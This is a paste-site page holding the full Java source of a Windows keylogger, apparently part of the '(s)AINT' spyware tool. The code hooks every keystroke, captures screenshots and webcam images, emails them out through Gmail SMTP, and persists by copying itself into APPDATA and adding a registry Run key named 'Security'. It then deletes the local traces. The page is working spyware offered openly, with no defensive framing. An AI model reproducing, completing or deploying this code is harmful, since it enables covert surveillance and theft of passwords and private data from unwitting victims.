Java keylogger

SUBMITTED BY: xxHalfamazingxx

DATE: March 27, 2020, 4:46 a.m.

FORMAT: Text only

SIZE: 12.6 kB

Raw Download

HITS: 567

Report
  1. package saint.keylogger;
  3. import saint.email.SendEmail;
  4. import saint.screenshot.Screenshot;
  5. import saint.webcam.Cam;
  6. import java.io.BufferedWriter;
  7. import java.io.File;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.FileWriter;
  11. import java.io.IOException;
  12. import java.nio.channels.FileChannel;
  13. import java.text.DateFormat;
  14. import java.text.SimpleDateFormat;
  15. import java.util.Date;
  16. import java.util.logging.Level;
  17. import org.jnativehook.GlobalScreen;
  18. import org.jnativehook.NativeHookException;
  19. import org.jnativehook.keyboard.NativeKeyEvent;
  20. import org.jnativehook.keyboard.NativeKeyListener;
  22. /**
  23. *
  24. * @author tiagorlampert
  25. */
  26. public class Keylogger extends javax.swing.JFrame implements NativeKeyListener {
  28. private static DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
  29. private static DateFormat dateFormatHour = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss");
  30. private static String folder = "\\(s)AINT";
  31. private static String environment_variable_path = "APPDATA";
  32. private static String path_logs = "\\Logs\\";
  33. private static String path_screenshot = "\\Screenshot\\";
  34. private static String path_cam = "\\Cam\\";
  35. private static String app_path;
  36. private static String nameFileScreenshot;
  37. private static String nameFileCam;
  38. private static String logs = "";
  39. private static String logs_send = "";
  40. private static String smtp = "smtp.gmail.com";
  41. private static String email_from = "email@gmail.com";
  42. private static String email_password = "passwordemail";
  43. private static String email_to = "email@gmail.com";
  44. private static String subject = "(s)AINT";
  45. private static String port = "";
  46. private static int cam_width = 640;
  47. private static int cam_height = 480;
  48. private static int count = countNumber;
  49. private static int count_state = 0;
  50. private static boolean ssl = true;
  51. private static boolean tls = false;
  52. private static boolean debug_email = true;
  53. private static boolean screenshot = booleanScreenshot;
  54. private static boolean cam = booleanCam;
  55. private static boolean persistence = booleanPersistence;
  56. private static boolean keepdata = booleanKeepData;
  57. private static String name_jar = "\\saint.jar";
  59. public static void main(String[] args) throws IOException {
  60. detectOS();
  62. app_path = System.getenv(environment_variable_path) + folder;
  64. createFolder(app_path);
  65. createFolder(app_path + path_logs);
  66. createFolder(app_path + path_screenshot);
  67. createFolder(app_path + path_cam);
  69. if (persistence == true) {
  70. copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
  71. }
  73. try {
  74. GlobalScreen.registerNativeHook();
  75. } catch (NativeHookException ex) {
  76. java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  77. }
  78. GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
  79. }
  81. private static void copyFile(String source, String dest) {
  82. File jar_file = new File(app_path + name_jar);
  83. if (!jar_file.exists()) {
  84. File sourceFile = new File(source);
  85. File destFile = new File(dest);
  86. FileChannel sourceChannel = null;
  87. FileChannel destChannel = null;
  88. try {
  89. sourceChannel = new FileInputStream(sourceFile).getChannel();
  90. destChannel = new FileOutputStream(destFile).getChannel();
  91. destChannel.transferFrom(sourceChannel, 0, sourceChannel.size());
  92. } catch (IOException e) {
  93. e.printStackTrace();
  94. }
  95. try {
  96. Runtime.getRuntime().exec("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Security\" /t REG_SZ /F /D \""+app_path+name_jar+"\"");
  97. } catch (IOException ex) {
  98. System.out.println(ex.getMessage());
  99. }
  100. }
  101. }
  103. private static void createFolder(String path) {
  104. new File(path).mkdir();
  105. }
  107. private static void deleteFolder(String path) {
  108. File folder = new File(path);
  109. File[] files = folder.listFiles();
  110. for (File file : files) {
  111. file.delete();
  112. }
  113. }
  115. private static void deleteData() {
  116. if (!keepdata) {
  117. deleteFolder(app_path + path_logs);
  118. deleteFolder(app_path + path_screenshot);
  119. deleteFolder(app_path + path_cam);
  120. }
  121. }
  123. private static void detectOS() {
  124. if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
  125. System.out.println("[!] OS is not supported!");
  126. System.exit(0);
  127. }
  128. }
  130. public void SaveLogs(String c) {
  131. logs += c;
  132. count_state += 1;
  133. try (BufferedWriter bw = new BufferedWriter(new FileWriter(app_path + path_logs + dateFormat.format(new Date()) + ".txt", true))) {
  134. bw.write(c);
  135. } catch (IOException e) {
  136. e.printStackTrace();
  137. }
  139. // System.out.println("Logs: " + logs);
  140. // System.out.println("Count: " + count_state);
  142. if (count_state >= count) {
  143. count_state = 0;
  144. logs_send = logs;
  145. logs = "";
  147. if (screenshot == true && cam == true) {
  148. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  149. sendAll();
  150. } else if (screenshot == true && cam == false) {
  151. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  152. sendScreenshot();
  153. } else if (screenshot == false && cam == true) {
  155. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  156. sendCam();
  157. } else if (screenshot == false && cam == false) {
  158. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  159. send();
  160. }
  161. }
  162. }
  164. public void sendAll() {
  165. try {
  166. nameFileScreenshot = dateFormatHour.format(new Date()).toString();
  167. Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date()));
  169. nameFileCam = dateFormatHour.format(new Date()).toString();
  170. Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height);
  172. } catch (Exception ex) {
  173. System.out.println(ex.getMessage());
  174. }
  175. new Thread(() -> {
  176. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  177. e.sendEmailAttachment(
  178. email_to,
  179. subject,
  180. logs_send,
  181. app_path + path_screenshot + nameFileScreenshot + ".jpg",
  182. app_path + path_cam + nameFileCam + ".png",
  183. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  184. );
  185. deleteData();
  186. }).start();
  187. }
  189. public void sendScreenshot() {
  190. try {
  191. nameFileScreenshot = dateFormatHour.format(new Date()).toString();
  192. Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date()));
  193. } catch (Exception ex) {
  194. System.out.println(ex.getMessage());
  195. }
  196. new Thread(() -> {
  197. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  198. e.sendEmailAttachment(
  199. email_to,
  200. subject,
  201. logs_send,
  202. app_path + path_screenshot + nameFileScreenshot + ".jpg",
  203. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  204. );
  205. deleteData();
  206. }).start();
  207. }
  209. public void sendCam() {
  210. try {
  211. nameFileCam = dateFormatHour.format(new Date()).toString();
  212. Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height);
  213. } catch (Exception ex) {
  214. System.out.println(ex.getMessage());
  215. }
  216. new Thread(() -> {
  217. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  218. e.sendEmailAttachment(
  219. email_to,
  220. subject,
  221. logs_send,
  222. app_path + path_cam + nameFileCam + ".png",
  223. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  224. );
  225. deleteData();
  226. }).start();
  227. }
  229. public void send() {
  230. new Thread(() -> {
  231. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  232. e.sendEmailAttachment(
  233. email_to,
  234. subject,
  235. logs_send,
  236. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  237. );
  238. deleteData();
  239. }).start();
  240. }
  242. @Override
  243. public void nativeKeyPressed(NativeKeyEvent nke) {
  244. // System.out.println(nke.getRawCode());
  245. switch (nke.getRawCode()) {
  246. case 8:
  247. SaveLogs("[Backspace]");
  248. break;
  249. case 9:
  250. SaveLogs("[Tab]");
  251. break;
  252. case 13:
  253. SaveLogs("[Enter]");
  254. break;
  255. // case 19:
  256. // SaveLogs("[PauseBreak]");
  257. // break;
  258. // case 27:
  259. // SaveLogs("[Esc]");
  260. // break;
  261. // case 33:
  262. // SaveLogs("[PgUp]");
  263. // break;
  264. // case 34:
  265. // SaveLogs("[PgDown]");
  266. // break;
  267. // case 35:
  268. // SaveLogs("[End]");
  269. // break;
  270. // case 36:
  271. // SaveLogs("[Home]");
  272. // break;
  273. // case 37:
  274. // SaveLogs("[Left]");
  275. // break;
  276. // case 38:
  277. // SaveLogs("[Up]");
  278. // break;
  279. // case 39:
  280. // SaveLogs("[Right]");
  281. // break;
  282. // case 40:
  283. // SaveLogs("[Down]");
  284. // break;
  285. // case 44:
  286. // SaveLogs("[PrintScreen]");
  287. // break;
  288. // case 45:
  289. // SaveLogs("[Insert]");
  290. // break;
  291. case 46:
  292. SaveLogs("[Del]");
  293. break;
  294. case 112:
  295. SaveLogs("[F1]");
  296. break;
  297. case 113:
  298. SaveLogs("[F2]");
  299. break;
  300. case 114:
  301. SaveLogs("[F3]");
  302. break;
  303. case 115:
  304. SaveLogs("[F4]");
  305. break;
  306. case 116:
  307. SaveLogs("[F5]");
  308. break;
  309. case 117:
  310. SaveLogs("[F6]");
  311. break;
  312. case 118:
  313. SaveLogs("[F7]");
  314. break;
  315. case 119:
  316. SaveLogs("[F8]");
  317. break;
  318. case 120:
  319. SaveLogs("[F9]");
  320. break;
  321. case 121:
  322. SaveLogs("[F10]");
  323. break;
  324. case 122:
  325. SaveLogs("[F11]");
  326. break;
  327. case 123:
  328. SaveLogs("[F12]");
  329. break;
  330. case 144:
  331. SaveLogs("[NumLock]");
  332. break;
  333. case 162:
  334. SaveLogs("[Ctrl]");
  335. break;
  336. case 163:
  337. SaveLogs("[Ctrl]");
  338. break;
  339. case 164:
  340. SaveLogs("[Alt]");
  341. break;
  342. case 165:
  343. SaveLogs("[Alt]");
  344. break;
  345. }
  346. }
  348. @Override
  349. public void nativeKeyReleased(NativeKeyEvent nke) {
  350. }
  352. @Override
  353. public void nativeKeyTyped(NativeKeyEvent nke) {
  354. SaveLogs(String.valueOf(nke.getKeyChar()));
  355. }
  356. }
comments powered by Disqus